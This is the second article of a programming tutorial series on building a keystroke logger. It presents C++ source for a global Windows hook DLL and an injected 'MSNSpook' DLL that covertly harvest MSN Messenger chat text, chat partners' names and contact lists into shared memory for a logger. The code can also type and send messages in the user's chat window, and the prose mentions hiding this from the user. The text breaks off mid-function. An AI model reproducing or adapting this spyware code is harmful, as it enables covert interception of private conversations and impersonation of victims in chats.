Keystroke Logger and More, Part 2

Environment: VC6+SP5 or 7, Win 2K/XP/2003 ONLY! (Test passed on English/Japanese/Chinese Win2K Server/XP Prof and English Win2003 Server),MS PlatformSDK, Microsoft XML Parser (MSXML)

Note: This is the second article of the "KeyStroke Logger and More" series. For consistency, it is highly recommended that you read the first article of this series before continuing with this one. To fully make an experiment on the functionality provided by the demo program with this article, you need two MSN active logins on two Win2k machines or you can run an MSN active login under different user context on one WinXP/.NET machine. If your MSN Messenger is backed up by your private Exchange Server, do not launch more than 10 concurrent chats, which is the limitation of the MSN Service provided by MS. Because the limitation of 10 is hard-coded, you can manually re-compile the program to your needs.

Note: You MUST install MSN Messenger version 4.6/4.7/5.0 to make the experiment this time. Please note MS now wraps the whole chat window into a "DirectUIHWND" window. As a result, the code dealing with MSN Messenger 6.0 is completely different from the code dealing its previous version. In this article, I will present only the code coping with MSN 5.0. Because all code is written in Unicode, your MSN Messenger can be a non-English version. By the way, you can still use this program to get MSN Messenger 6.0's contact list; MS did not modify the MSN main window too much.

Part 3—A Way Through MSN Messenger (4.6/4.7/5.0)

Hooking MSN Messenger is very similar to hooking a password edit box in a hooking mechanism, but, a new problem emerges on handling a two-way communication instead of a one-way communication. Let's take it this way: When a user pops up a password-edit dialog, it is very likely to be filled or canceled by the user in a few minutes, if not in a few seconds, whereas a MSN chat may take hours before the end of the chat.

Here is the point: If the logger just keeps on waiting for the chat to end before it transfers the context, it will be somewhat unacceptably sluggishly and in technical aspect, it leads to a data transmission peak if the logger is intended for a distribution environment. So, the logger must be able to query the chat actively and periodically. Now you know the second WH_CALLWNDPROC/WH_GETMESSAGE DLL running in the target thread of MSN Messenger filters all Send/Post windows message, then the best approach to wake up this DLL to query the chat contents for us? We have used a MMF already and it will be too complicated to add a reverse communication counterpart. The answer is user-defined windows message—upon receiving a certain user-defined message in the DLL, we query the chat contents and send it back to the logger. Take care; do not re-enter the message loop endlessly as I mentioned in the end of our first article of this series.

You can use Spy++ or similar tools to get used to the intricacy of MSN Messenger's main window and chat window before writing the code; besides, you can check the windows message sent to the chat contents field, which is a RICH20W control inside MSN Messenger for Win2K/XP/.NET.



Click here for a larger image.

Figure 2.1 MSN Messenger Main Window & Chat Window's Windows Layout

To make things clear, I got the above screen shot plus the related windows layout from Spy++. I will use "Main" and "Chat" for abbreviations of "Messenger Main Window" and "Messenger Chat Window." Both Main and Chat's parents is the desktop window. One of Main's grandchildren is a List View that contains all the contactors' nickname, status, and your action on them (Block and Unblock). By contrast, Chat has more child windows we are interested in.

In the Chat, Area 1 contains all the chat contents and it is a RICHEDIT20W control; Area 2 is the the chatter's mail address or nickname (nickname takes priority, mail address is only shown when the user has no nickname) who are chatting with you. Area 3 is the text you are about to send out (but not sent yet!!! so the logger have a chance to modify it, set redraw to false, send it out, make more tricks on upper Area 1 to hide the grabbed text from the user, and so on..., FYI). Area 4 is the send button. Sending a WM_COMMAND with BN_CLICKED to the button's parent will simulate the user's clicking on the send button.

So, now you have obtained all the raw materials to make the whole system. Let's review the whole process: CBT DLL monitors the creation of both "IMWindowClass" and "IMWindowClass", the class name of the chat and main. Whenever the first window is available, a second hook DLL will be injected into the thread to monitor both the Send and Post messages. We use a user-defined message (WM_USER + XXX) to notify the DLL to send the chat contents back, to get the contact list back, and so on.

Note: You only need to hook those Windows for ONE and ONLY ONE TIME because all Main and Chat are on the same GUI thread (MSN Messenger supports up to 10 concurrent chats when using Internet Messenger Service provided by MSN by now). YOU HAVE BEEN WARNED ABOUT NOT HOOKING INTO THE SAME THREAD AGAIN UNLESS YOU ARE AWARE OF WHAT YOU ARE DOING!

Code Excerpt

1. Nightmare CBT DLL code excerpt:

Because I have published part of the Nightmare CBT DLL code in the previous article, only the new code related to MSN hooking is given below.

Figure 2.2 Architecture of Nightmare CBT DLL

#pragma data_seg("Shared")
.....
//MSN Main Window Handle
HWND g_hNightmareMSNMainWnd = NULL;
//only useful to a GUI client, a backend logger will
//deal all chat instance
DWORD g_dwActiveChat = 0;
//Chat Window Handle
HWND g_hNightmareMSNChatWnd[MAX_CONCUR_CHAT] = {NULL...};
......
LRESULT CALLBACK CBTProc(
    int nCode,        // hook code
    WPARAM wParam,    // depends on hook code
    LPARAM lParam     // depends on hook code
)
{
  if(nCode < 0)
    return CallNextHookEx(g_hNightmareHook, nCode,
                          wParam, lParam);
  if(nCode == HCBT_DESTROYWND)
  {
    HWND hWnd = (HWND)wParam;
    //If you hooked directly from Application,
    //here will not be reached
    //because we did not get the create event.
    //The create-destroy must be given in pairs
    if(GetChatNumber() != 0)
    {
      for(int i = 0; i < MAX_CONCUR_CHAT; i++)
      {
        hWnd = (HWND)wParam;
        HWND hParent = g_hNightmareMSNChatWnd[i];
        while(hParent != NULL)
        {
          if(hWnd == hParent)
          {
            ExitMSNSpook(g_hNightmareMSNChatWnd[i]);
            g_hNightmareMSNChatWnd[i] = NULL;
            return CallNextHookEx(g_hNightmareHook, nCode,
                                  wParam, lParam);
          }
          HWND hTemp = ::GetParent(hParent);
          hParent = hTemp;
        }
      }
    }
    if((HWND)wParam == g_hNightmareMSNMainWnd)
    {
      g_hNightmareMSNMainWnd = NULL;
      ::ExitMSNSpook(hWnd);
    }
  }

  if(nCode == HCBT_CREATEWND)
  {
    //wParam = Handle, lParam = not defined
    if(IsMSNChat((HWND)wParam))    //Chat Window Pop up
    {
      //If not unhooked properly, unhook here
      DWORD dwNewIndex = SetChatWindowHandle((HWND)wParam);
      if(dwNewIndex != -1)
      {
        SetActiveChatWindow((HWND)wParam);
        //Make It The Active
        ::InitMSNSpook((HWND)wParam);
      }
      else    //almost impossible to fail here
      {}      //err handler
    }
    if(IsMSNMain((HWND)wParam))    //Messager Main
    {
      g_hNightmareMSNMainWnd = (HWND)wParam;
      ::InitMSNSpook(g_hNightmareMSNMainWnd);
    }
  }
  return 0;    //permit operation
}

2. MSNSpook DLL code excerpt:



Click here for a larger image.

Fig 2-2 Architecture of MSNSpook Message Interceptor DLL

// MSNSpook.cpp: Defines the entry point for the DLL application.
//

#include "MSNSpookStdafx.h"
#include "MSNSpook.h"

#include <Richedit.h>
#include <commctrl.h>

// Forward references
LRESULT CALLBACK CallWndProcHook(int nCode, WPARAM wParam,
                                 LPARAM lParam);
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
////////////////////////////////////////////////////

// Instruct the compiler to put the g_hXXXhook data variable in
// its own data section called Shared. We then instruct the
// linker that we want to share the data in this section
// with all instances of this application.
#pragma data_seg("Shared")
//Send Hook Handle
HHOOK g_hMSNSpookSendHook[MAX_CONCUR_CHAT] = {NULL,...};
//Post Hook Handle
HHOOK g_hMSNSpookPostHook[MAX_CONCUR_CHAT] = {NULL, ...};
HWND g_hMSNSpookMainWnd       = NULL;
DWORD g_idMSNSpookMainThread  = 0;
HHOOK g_hMSNSpookMainSendHook = NULL;
HHOOK g_hMSNSpookMainPostHook = NULL;

//g_hMSNSpookChatWnd is the same as inside Nightmare
//Chat Window Handle
HWND g_hMSNSpookChatWnd[MAX_CONCUR_CHAT] = {NULL, ...};
//Chat Window Thread
DWORD g_idMSNSpookChatThread[MAX_CONCUR_CHAT] = {0,.. };

//Upper RichEdit Window Handle
HWND g_hMSNSpookUpperRichEdit[MAX_CONCUR_CHAT] = {NULL...};
//Lower RichEdit Window Handle
HWND g_hMSNSpookLowerRichEdit[MAX_CONCUR_CHAT] = {NULL, ...};
//Send Button
HWND g_hMSNSpookSendButton[MAX_CONCUR_CHAT] = {NULL, ...};
//E-mail address EditBox
HWND g_hMSNSpookAddressEdit[MAX_CONCUR_CHAT] = {NULL, ...};

//Temporarily Save Chatter's Name
TCHAR g_szChatterName[MAX_CONCUR_CHAT][MAX_CHATTER_ADDRESS] =
                     {NULL,...};
TCHAR g_szMSNSpookSendText[4096] = {NULL};
//----------------------------------------------
#pragma data_seg()

// Instruct the linker to make the Shared section
// readable, writable, and shared.
#pragma comment(linker, "/section:Shared,rws")

// Nonshared variables
HINSTANCE g_hinstDll = NULL;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
                       LPVOID lpReserved)
{
  switch (ul_reason_for_call)
  {
    case DLL_PROCESS_ATTACH:
      g_hinstDll = (HINSTANCE)hModule;
      break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
      break;
  }
  return TRUE;
}

//Note: it may be the MSN main window
BOOL WINAPI InitMSNSpook(HWND hChatHwnd)
{
  BOOL bMain = FALSE;
  //MSN main window may be created before OR after
  //chat window!!!!!
  //for the user can close main window any time
  if(::IsMSNMain(hChatHwnd))
  bMain = TRUE;

  DWORD td = ::GetWindowThreadProcessId(hChatHwnd, NULL);

  if(bMain)
  {
    if(g_idMSNSpookMainThread == td)    //re-enter
    {
      g_hMSNSpookMainWnd = hChatHwnd;
      return TRUE;
    }
    if(g_idMSNSpookMainThread == 0)
    {
      //check if chat is being hooked or not,
      //if hooked, re-use chat hook
      for(int i = 0; i < MAX_CONCUR_CHAT; i++)
      {
        if(g_idMSNSpookChatThread[i] == td)    //no need to hook
        {
          g_hMSNSpookMainWnd = hChatHwnd;
          g_hMSNSpookMainSendHook = g_hMSNSpookSendHook[i];
          g_hMSNSpookMainPostHook = g_hMSNSpookPostHook[i];
          g_idMSNSpookMainThread = g_idMSNSpookChatThread[i];
          return TRUE;
        }
      }
      g_idMSNSpookMainThread = td;
      g_hMSNSpookMainWnd = hChatHwnd;
      //hook the first hook and return
      g_hMSNSpookMainSendHook =
          SetWindowsHookEx(WH_CALLWNDPROC,
                          (HOOKPROC) CallWndProcHook,
                          g_hinstDll, g_idMSNSpookMainThread);
      if(g_hMSNSpookMainSendHook == NULL) err_handler;
      g_hMSNSpookMainPostHook = 
          SetWindowsHookEx(WH_GETMESSAGE,
                           GetMsgProc, g_hinstDll,
                           g_idMSNSpookMainThread);
      if(g_hMSNSpookMainPostHook == NULL) err_handler;
      return TRUE;    //
    }
    else    //shared section data error
      err_handler;
    return TRUE;
  }

  //chat window comes here
  if(g_idMSNSpookMainThread == td)    //no need to hook
  {
    //Set Hook To Previous Value
    DWORD dwIndex = InsertChatHwnd(hChatHwnd);
    if(dwIndex == (UINT)-1) return FALSE;
    g_hMSNSpookSendHook[dwIndex]    = g_hMSNSpookMainSendHook;
    g_hMSNSpookPostHook[dwIndex]    = g_hMSNSpookMainPostHook;
    g_idMSNSpookChatThread[dwIndex] = g_idMSNSpookMainThread;
    return TRUE;
  }

  //Check if this thread has been hooked,
  //it should be yes unless MS MSN team create
  //chat window on multithread in MSN Message 17.0
  for(int i = 0; i < MAX_CONCUR_CHAT; i++)
  {
    if(g_idMSNSpookChatThread[i] == td)    //no need to hook
    {
      //Set Hook To Previous Value
      DWORD dwIndex = InsertChatHwnd(hChatHwnd);
      if(dwIndex == (UINT)-1) return FALSE;
      g_hMSNSpookSendHook[dwIndex]    = g_hMSNSpookSendHook[i];
      g_hMSNSpookPostHook[dwIndex]    = g_hMSNSpookPostHook[i];
      g_idMSNSpookChatThread[dwIndex] = g_idMSNSpookChatThread[i];
      return TRUE;
    }
  }

  //First Window On This Thread, Hook It
  DWORD dwIndex = InsertChatHwnd(hChatHwnd);
  if(dwIndex == (UINT)-1) return FALSE;
  g_idMSNSpookChatThread[dwIndex] =
    ::GetWindowThreadProcessId(hChatHwnd, NULL);

  // Install the hook on the specified thread
  g_hMSNSpookSendHook[dwIndex] = SetWindowsHookEx(
                                 WH_CALLWNDPROC, (HOOKPROC)
                                 CallWndProcHook,
                                 g_hinstDll,
                                 g_idMSNSpookChatThread[dwIndex]);
  if(g_hMSNSpookSendHook[dwIndex] == NULL) err;
  g_hMSNSpookPostHook[dwIndex] = SetWindowsHookEx(
                                 WH_GETMESSAGE, GetMsgProc,
                                 g_hinstDll,
                                 g_idMSNSpookChatThread[dwIndex]);
  if(g_hMSNSpookPostHook[dwIndex] == NULL) err;
  return TRUE;
}

//when MSN Main or Chat window got destroyed
BOOL WINAPI ExitMSNSpook(HWND hChatHwnd)
{
  BOOL bMain = FALSE;
  //MSN main window may be created before OR after chat window!!
  if(::IsMSNMain(hChatHwnd))
    bMain = TRUE;
  if(bMain)
  {
    DWORD tid = ::GetWindowThreadProcessId(hChatHwnd, NULL);
    if(g_idMSNSpookMainThread != tid) err;
    else
    {
      DWORD dwThreadNum = 0;
      for(int i = 0; i < MAX_CONCUR_CHAT; i++)
      {
        if(g_idMSNSpookChatThread[i] == tid) dwThreadNum++;
      }
      if(dwThreadNum >= 1)
      //more than 1 window being hooked now
      {
        g_hMSNSpookMainWnd      = NULL;
        g_hMSNSpookMainSendHook = NULL;
        g_hMSNSpookMainPostHook = NULL;
        g_idMSNSpookMainThread  = 0;
        return TRUE;
      }
      //unhook completely
      BOOL b = UnhookWindowsHookEx(g_hMSNSpookMainSendHook);
      if(g_hMSNSpookMainPostHook)
        UnhookWindowsHookEx(g_hMSNSpookMainPostHook);

      g_hMSNSpookMainWnd      = NULL;
      g_hMSNSpookMainSendHook = NULL;
      g_hMSNSpookMainPostHook = NULL;
      g_idMSNSpookMainThread  = 0;
        return TRUE;
    }
    return TRUE;
}

//chat window comes here
DWORD dwIndex = QueryChatHwndIndex(hChatHwnd);
if(dwIndex == (UINT)-1) return FALSE;

DWORD tid = ::g_idMSNSpookChatThread[dwIndex];
DWORD dwThreadNum = 0;
for(int i = 0; i < MAX_CONCUR_CHAT; i++)
{
  if(g_idMSNSpookChatThread[i] == tid) dwThreadNum++;
}
if(g_idMSNSpookMainThread == tid) dwThreadNum++;

  //If the thread is used by other chat window, do not unhook it
  if(dwThreadNum > 1)
  {
    g_hMSNSpookChatWnd[dwIndex]     = NULL;
    g_hMSNSpookSendHook[dwIndex]    = NULL;
    g_hMSNSpookPostHook[dwIndex]    = NULL;
    g_idMSNSpookChatThread[dwIndex] = 0;
    //erase richedit array
    EnumRichEdit(NULL, dwIndex);
    return TRUE;
  }

  //the last chat running on the thread ready to quit
  BOOL b = UnhookWindowsHookEx(g_hMSNSpookSendHook[dwIndex]);
  if(g_hMSNSpookPostHook[dwIndex])
    UnhookWindowsHookEx(g_hMSNSpookPostHook[dwIndex]);

  g_hMSNSpookChatWnd[dwIndex]     = NULL;
  g_hMSNSpookSendHook[dwIndex]    = NULL;
  g_hMSNSpookPostHook[dwIndex]    = NULL;
  g_idMSNSpookChatThread[dwIndex] = 0;
  EnumRichEdit(NULL, dwIndex);
  return TRUE;
}

DWORD MSNSpookGetChatNumber()
{
  DWORD dwRet = 0;
  for(int i = 0; i < MAX_CONCUR_CHAT; i++)
  {
    if(g_hMSNSpookChatWnd[i]) dwRet++;
  }
  return dwRet;
}

DWORD InsertChatHwnd(HWND hChatWnd)
{
  for(int i = 0; i < MAX_CONCUR_CHAT; i++)
  {
    if(g_hMSNSpookChatWnd[i] == NULL)
    {
      g_hMSNSpookChatWnd[i] = hChatWnd;
      return i;
    }
  }
  return (UINT)-1;
}

DWORD QueryChatHwndIndex(HWND hChatWnd)
{
  if(hChatWnd == NULL) return (UINT)-1;
  for(int i = 0; i < MAX_CONCUR_CHAT; i++)
  {
    if(g_hMSNSpookChatWnd[i] == hChatWnd) return i;
  }
  return (UINT)-1;
}

BOOL CALLBACK EnumChildProc(
HWND hWnd,       // handle to child window
LPARAM lParam    // application-defined value
)
{
  DWORD dwIndex = (DWORD)lParam;
  //I only consider RichEdit20W, not RichEdit20A
  //since we are on Win2k+
  TCHAR szClassName[64];
  int nRet = GetClassName(hWnd, szClassName, 64);
  if(nRet == 0) return TRUE;
  szClassName[8] = 0;
  //Cut the length to szClassName[8] = 0;
  if(::lstrcmp(szClassName, _T("RichEdit")) == 0)
  {
    //Got It
    if(g_hMSNSpookUpperRichEdit[dwIndex] == NULL)
    //this should be enumed first
    {
      g_hMSNSpookUpperRichEdit[dwIndex] = hWnd;
      return TRUE;
    }
    if(g_hMSNSpookLowerRichEdit[dwIndex] == NULL)
    {
      g_hMSNSpookLowerRichEdit[dwIndex] = hWnd;
      return TRUE;
    }
  }
  if(::lstrcmp(szClassName, _T("Edit")) == 0)
  {
    //In Messenger 4.6, 4.7 Chatter Name Edit is
    //the First Edit Child of the Chat Window
    //In Messenger 5.0 Chatter Edit is the Second Edit
    //Child of the chat Window
    //the first Edit is the GrandChild of the Chat Window
    if(::GetParent(::GetParent(hWnd)) != NULL) return TRUE;
    if(g_hMSNSpookAddressEdit[dwIndex] == NULL)
    {
      g_hMSNSpookAddressEdit[dwIndex] = hWnd;
      return TRUE;
    }
  }

  if(::lstrcmp(szClassName, _T("Button")) == 0)
  {
    if(g_hMSNSpookSendButton[dwIndex] == NULL)
    {
      g_hMSNSpookSendButton[dwIndex] = hWnd;
      return TRUE;
    }
  }
  return TRUE;
}

void CheckRichEdit()
{
  for(int i = 0; i < MAX_CONCUR_CHAT; i++)
  {
    if(g_hMSNSpookChatWnd[i] &&
      g_hMSNSpookUpperRichEdit[i] == NULL)
    {
      EnumRichEdit(g_hMSNSpookChatWnd[i], i);
    }
  }
}

BOOL EnumRichEdit(HWND hChatHwnd, DWORD dwChatIndex)
{
  if(hChatHwnd == NULL)
  {
    g_hMSNSpookUpperRichEdit[dwChatIndex] = NULL;
    //Upper RichEdit Window Handle
    g_hMSNSpookLowerRichEdit[dwChatIndex] = NULL;
    //Lower RichEdit Window Handle
    g_hMSNSpookSendButton[dwChatIndex] = NULL;     //Send Button
    g_hMSNSpookChatWnd[dwChatIndex] = NULL;
    //Parent Window of Upper Rich Edit
    g_hMSNSpookAddressEdit[dwChatIndex] = NULL;    //E-mail address
    return TRUE;
  }
  g_hMSNSpookUpperRichEdit[dwChatIndex] = NULL;
  g_hMSNSpookLowerRichEdit[dwChatIndex] = NULL;
  //Enum all the siblings
  BOOL bRet = EnumChildWindows(
              hChatHwnd,             // handle to parent window
              EnumChildProc,         // callback function
              (LPARAM)dwChatIndex    // application-defined value
  );
  //Check the Correctness of g_hMSNSpookUpperRichEdit and
  // g_hMSNSpookUpperRichEdit
  if(g_hMSNSpookUpperRichEdit[dwChatIndex] &&
     g_hMSNSpookLowerRichEdit[dwChatIndex])
  {
    RECT rectUp, rectLow;
    if( ::GetWindowRect(g_hMSNSpookUpperRichEdit[dwChatIndex],
        &rectUp) &&
        ::GetWindowRect(g_hMSNSpookLowerRichEdit[dwChatIndex],
        &rectLow))
    {
       if(rectUp.bottom > rectLow.bottom)
       {
         HWND hWnd = g_hMSNSpookUpperRichEdit[dwChatIndex];
         g_hMSNSpookLowerRichEdit[dwChatIndex] = 
           g_hMSNSpookUpperRichEdit[dwChatIndex];
         g_hMSNSpookUpperRichEdit[dwChatIndex] = hWnd;
       }
    }
  }
  return TRUE;
}

///////////////////////////////////////////////////////////////////
//PostMessage Hook Proc
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  MSG* msg = (MSG*)lParam;
  HWND hWnd = msg->hwnd;

  // Uncomment the line below to invoke the debugger
  // on the process that just got the injected DLL.
  // ForceDebugBreak();
  if(msg->message == WM_MSNSPOOK_QUERYTEXT)
  //wParam : index , lParam : chat Handle
  {
    for(int i = 0; i < MAX_CONCUR_CHAT; i++)
    {
      if(hWnd == g_hMSNSpookChatWnd[i] &&
                 g_hMSNSpookChatWnd[i] != NULL)
      {
        if(g_hMSNSpookUpperRichEdit[i] == NULL)
        ::EnumRichEdit(g_hMSNSpookChatWnd[i], i);
        //if you need RTF, do it here
//#ifdef I_NEED_RTF
        //InnerRichEditSaveRTF(g_hMSNSpookUpperRichEdit[i], i);
//#else
        InnerRichEditSaveText(g_hMSNSpookUpperRichEdit[i], i);
//#endif
      }
    }
  }

  if(msg->message == WM_MSNSPOOK_QUERYCONTACTLIST)
  {
    if(hWnd == ::g_hMSNSpookMainWnd)
    //it should be, but take care all the time
    {
      ::InnerMSNMainSaveContactList(g_hMSNSpookMainWnd);
    }
  }

  //WM_MSNSPOOK_SENDTEXT -- wParam : ClearPreviosText ,
  // lParam : Send At Once
  if(msg->message == WM_MSNSPOOK_SENDTEXT)
  //Send Text To Lower RichEdit
  {
    for(int i = 0; i < MAX_CONCUR_CHAT; i++)
    {
      if(hWnd == g_hMSNSpookChatWnd[i] &&
                 g_hMSNSpookChatWnd[i] != NULL)
      {
      if(g_hMSNSpookLowerRichEdit[i] == NULL)
        ::EnumRichEdit(g_hMSNSpookChatWnd[i], i);

      if(g_hMSNSpookLowerRichEdit[i] == NULL ||
         !::IsWindow(g_hMSNSpookLowerRichEdit[i]))
      {
        //still failed? well, forget it then
      }
      else
      {
        BOOL bClearPreviosText = msg->wParam ==
                                 WPARAM_CLEAR_PREVIOUS_TEXT ?
                                 TRUE : FALSE;
        if(bClearPreviosText)
        {
          ::SendMessage(g_hMSNSpookLowerRichEdit[i],
                        EM_SETSEL, (WPARAM)0, (LPARAM)-1);

          ::SendMessage(g_hMSNSpookLowerRichEdit[i],
                        EM_REPLACESEL, (WPARAM)FALSE,
                        (LPARAM)NULL);
        }

        SETTEXTEX st;
        st.flags = ST_DEFAULT;
#ifndef _UNICODE
        st.codepage = CP_ACP;
#else
        st.codepage = 1200;    //unicode
#endif
        int len = ::lstrlen(g_szMSNSpookSendText);
        TCHAR* szLocal = new TCHAR[len + 1];
        ::lstrcpy(szLocal, g_szMSNSpookSendText);
        DWORD dw = ::SendMessage(g_hMSNSpookLowerRichEdit[i],
                                 EM_REPLACESEL,
                                 (WPARAM)FALSE, (LPARAM)szLocal);
        delete szLocal;
        BOOL bSendTextImmediately = msg->lParam ==
             LPARAM_SEND_TEXT_INSTANTLY ? TRUE : FALSE;

        if(g_hMSNSpookSendButton[i] && bSendTextImmediately)
          {
          DWORD btnID = ::GetWindowLong(g_hMSNSpookSendButton[i],
                                        GWL_ID);

                        ::SendMessage(::g_hMSNSpookChatWnd[i],
                                      WM_COMMAND,
                                (WPARAM)MAKELONG((WORD)btnID,
                                      BN_CLICKED),
                                (LPARAM)g_hMSNSpookSendButton[i]);
          }
        }    //if found upper richedit
      }      //found the chat
    }        //end of for
  }

  //find the hook index
  hWnd = msg->hwnd;
  DWORD dwIndex = -1;
  DWORD tid = GetWindowThreadProcessId(hWnd, NULL);
  //g_hMSNSpookChatWnd's parent is the Desktop Window
  for(int i = 0; i < MAX_CONCUR_CHAT; i++)
  {
    if(tid == ::g_idMSNSpookChatThread[i])
    {
      dwIndex = i;
      break;
    }
  }
  if(dwIndex == MAX_CONCUR_CHAT)  //no got? check if main hooked...
  {
    //::ReportErr(_T("Hook to where"));
    return 0;
  }

  return(CallNextHookEx(g_hMSNSpookPostHook[dwIndex], nCode,
         wParam, lParam));
}

//SendMessage Hook Proc
LRESULT CALLBACK CallWndProcHook(
int nCode,        // hook code
WPARAM wParam,    // If sent by the current thread, it is nonzero;
                  // otherwise, it is zero.
LPARAM lParam     // message data
)
{
  CWPSTRUCT* pCwp = (CWPSTRUCT*)lParam;
  HWND hWnd = pCwp->hwnd;

  //WM_CLOSE is sent first, then WM_DESTROY, WM_NCDESTROY,
  //and return, at last CLOSE return
  if(pCwp->message == WM_CLOSE)
  {
    for(int i = 0; i < MAX_CONCUR_CHAT; i++)
    {
      if(g_hMSNSpookChatWnd[i] == pCwp->hwnd &&
         g_hMSNSpookChatWnd[i] != NULL)
      {
        ::EnumRichEdit(g_hMSNSpookChatWnd[i], i);
        DWORD dwRet = ::SendMessage(g_hMSNSpookAddressEdit[i],
                                    WM_GETTEXT,
                                    MAX_CHATTER_ADDRESS,
                                    (LPARAM)(LPCTSTR)
                                     g_szChatterName[i]);
        g_szChatterName[i][dwRet] = TCHAR('\0');
//#ifdef I_NEED_RTF
        // InnerRichEditSaveRTF(g_hMSNSpookUpperRichEdit[i], 1);
//#else
        InnerRichEditSaveText(g_hMSNSpookUpperRichEdit[i], i);
        //your last chance to catch chat contents
//#endif
      }
    }
    if(pCwp->hwnd == ::g_hMSNSpookMainWnd)
    {
       ::InnerMSNMainSaveContactList(g_hMSNSpookMainWnd);
       //your last chance to catch contact list
    }
  }

  //find the hook index, the same as above....
  return CallNextHookEx (g_hMSNSpookSendHook[dwIndex],
                         nCode, wParam, lParam) ;
}

//Rich Edit Stream Out
EDITSTREAM myStream = {
0,      // dwCookie -- app specific
0,      // dwError
NULL    // Callback
};

DWORD CALLBACK writeFunc(
DWORD_PTR dwCookie,    // application-defined value
LPBYTE pbBuff,         // data buffer
LONG cb,               // number of bytes to read or write
LONG *pcb              // number of bytes transferred
)
{
  //stream into the MMF
  LPBYTE lpMem = (LPBYTE)(dwCookie);
  LPBYTE lpByte = lpMem;

  DWORD dwSize, dwUsed;
  ::CopyMemory(&dwSize, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);
  ::CopyMemory(&dwUsed, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);

  lpByte += dwUsed;
  ::CopyMemory(lpByte, pbBuff, cb);
  dwUsed += cb;

  lpByte = (LPBYTE)lpMem;
  lpByte += sizeof(DWORD);
  ::CopyMemory(lpByte, &dwUsed, sizeof(DWORD));

  *pcb = cb;
  return 0;
}

BOOL WINAPI SetRichEditReadOnly(BOOL bReadOnly, DWORD dwChatIndex)
{
  if(::g_hMSNSpookChatWnd[dwChatIndex] == NULL) return FALSE;
  ::EnumRichEdit(g_hMSNSpookChatWnd[dwChatIndex], dwChatIndex);
  if(g_hMSNSpookUpperRichEdit[dwChatIndex] == NULL) return FALSE;
  ::SendMessage(g_hMSNSpookUpperRichEdit[dwChatIndex],
                EM_SETREADONLY,bReadOnly,0);
  //PostMessage(g_hMSNSpookUpperRichEdit, WM_APP, 0,0);
  //not necessary
  return TRUE;
}

BOOL InnerRichEditSaveText(HWND hRichEditWnd, DWORD dwChatIndex)
{
  HANDLE hMMF = OpenFileMapping(FILE_MAP_READ | FILE_MAP_WRITE,
                                FALSE, g_MMF_NAME);
  if (hMMF == NULL) err;

  HANDLE hWriteEvent = ::OpenEvent(EVENT_ALL_ACCESS,
                                   FALSE,g_WRITE_EVENT_MMF_NAME);
  if(hWriteEvent == NULL) err;

  HANDLE hReadEvent = ::OpenEvent(EVENT_ALL_ACCESS,
                                  FALSE,g_READ_EVENT_MMF_NAME);
  if(hReadEvent == NULL) err;

  DWORD dwRet = ::WaitForSingleObject(hWriteEvent,
                                      MAX_WAIT);    //INFINITE);
  if(dwRet == WAIT_ABANDONED)... err;
  ::ResetEvent(hWriteEvent);

  //heading 4 byte total size
  //heading 4 byte used size
  DWORD pos = 0;
  //head 4 byte to record size
  LPVOID pView = MapViewOfFile(hMMF, FILE_MAP_READ |
                               FILE_MAP_WRITE, 0, 0, 0);
  if(pView == NULL) err;

  LPBYTE lpByte = (LPBYTE)pView;
  DWORD dwSize, dwUsed;
  ::CopyMemory(&dwSize, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);
  ::CopyMemory(&dwUsed, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);

  LPVOID lpMem = (LPVOID)lpByte;    //Actual Data Head
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;

  GETTEXTLENGTHEX gtlex;
  gtlex.flags = GTL_DEFAULT;
#ifdef _UNICODE
  gtlex.codepage = 1200;
#else
  gtlex.codepage = CP_ACP;
#endif

  UINT chNum = SendMessage(
    (HWND) hRichEditWnd,    // handle to destination window

    EM_GETTEXTLENGTHEX,     // message to send
    (WPARAM)&gtlex,         // text length (GETTEXTLENGTHEX *)
    (LPARAM)0               // not used; must be zero
  );
  LPTSTR sz = new TCHAR[chNum + 128];  //Note: You need more space

  GETTEXTEX gt;
  gt.cb = sizeof(TCHAR) * (chNum + 128);
  gt.flags = GT_USECRLF;
#ifdef _UNICODE
  gt.codepage = 1200;
#else 
  gt.codepage = CP_ACP;
#endif
  gt.lpDefaultChar = NULL;
  gt.lpUsedDefChar = NULL;

  DWORD dwGot = SendMessage(
        (HWND) hRichEditWnd,    // handle to destination window
        EM_GETTEXTEX,           // message to send
        (WPARAM)&gt,            // text information (GETTEXTEX *)
        (LPARAM)sz              // output buffer (LPCTSTR)
  );
  DWORD dwDisp = dwGot*sizeof(TCHAR);
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  ::CopyMemory(lpByte, sz, dwDisp);
  dwUsed += dwDisp;
  delete sz;

  //new line
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  ::CopyMemory(lpByte, _T("\r\n"), 2 * sizeof(TCHAR));
  dwUsed += 2 * sizeof(TCHAR);

  DWORD dwRetLen =
  ::SendMessage(g_hMSNSpookAddressEdit[dwChatIndex],
                WM_GETTEXT, MAX_CHATTER_ADDRESS,
                (LPARAM)(LPCTSTR)g_szChatterName[dwChatIndex]);
  g_szChatterName[dwChatIndex][dwRetLen] = TCHAR('\0');

  //append chatter name
  if(::lstrlen(g_szChatterName[dwChatIndex]) > 0)
  {
    lpByte = (LPBYTE)lpMem;
    lpByte += dwUsed;
    dwDisp = :lstrlen(g_szChatterName[dwChatIndex])*sizeof(TCHAR);
    ::CopyMemory(lpByte, g_szChatterName[dwChatIndex], dwDisp);
    dwUsed += dwDisp;
  }

  //append system time, local time is more meaningful,
  // isn't it? man
  SYSTEMTIME tm;
  ::GetLocalTime(&tm);
  TCHAR str[128];

  _stprintf(str, _T("\r\n%d/%d/%d,%d:%d:%d\r\n"), tm.wYear,
            tm.wMonth, tm.wDay, tm.wHour, tm.wMinute, tm.wSecond);
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  dwDisp = ::lstrlen(str)*sizeof(TCHAR);
  ::CopyMemory(lpByte, str, dwDisp);
  dwUsed += dwDisp;

  //Write dwUsed back
  lpByte = (LPBYTE)pView;
  lpByte += sizeof(DWORD);
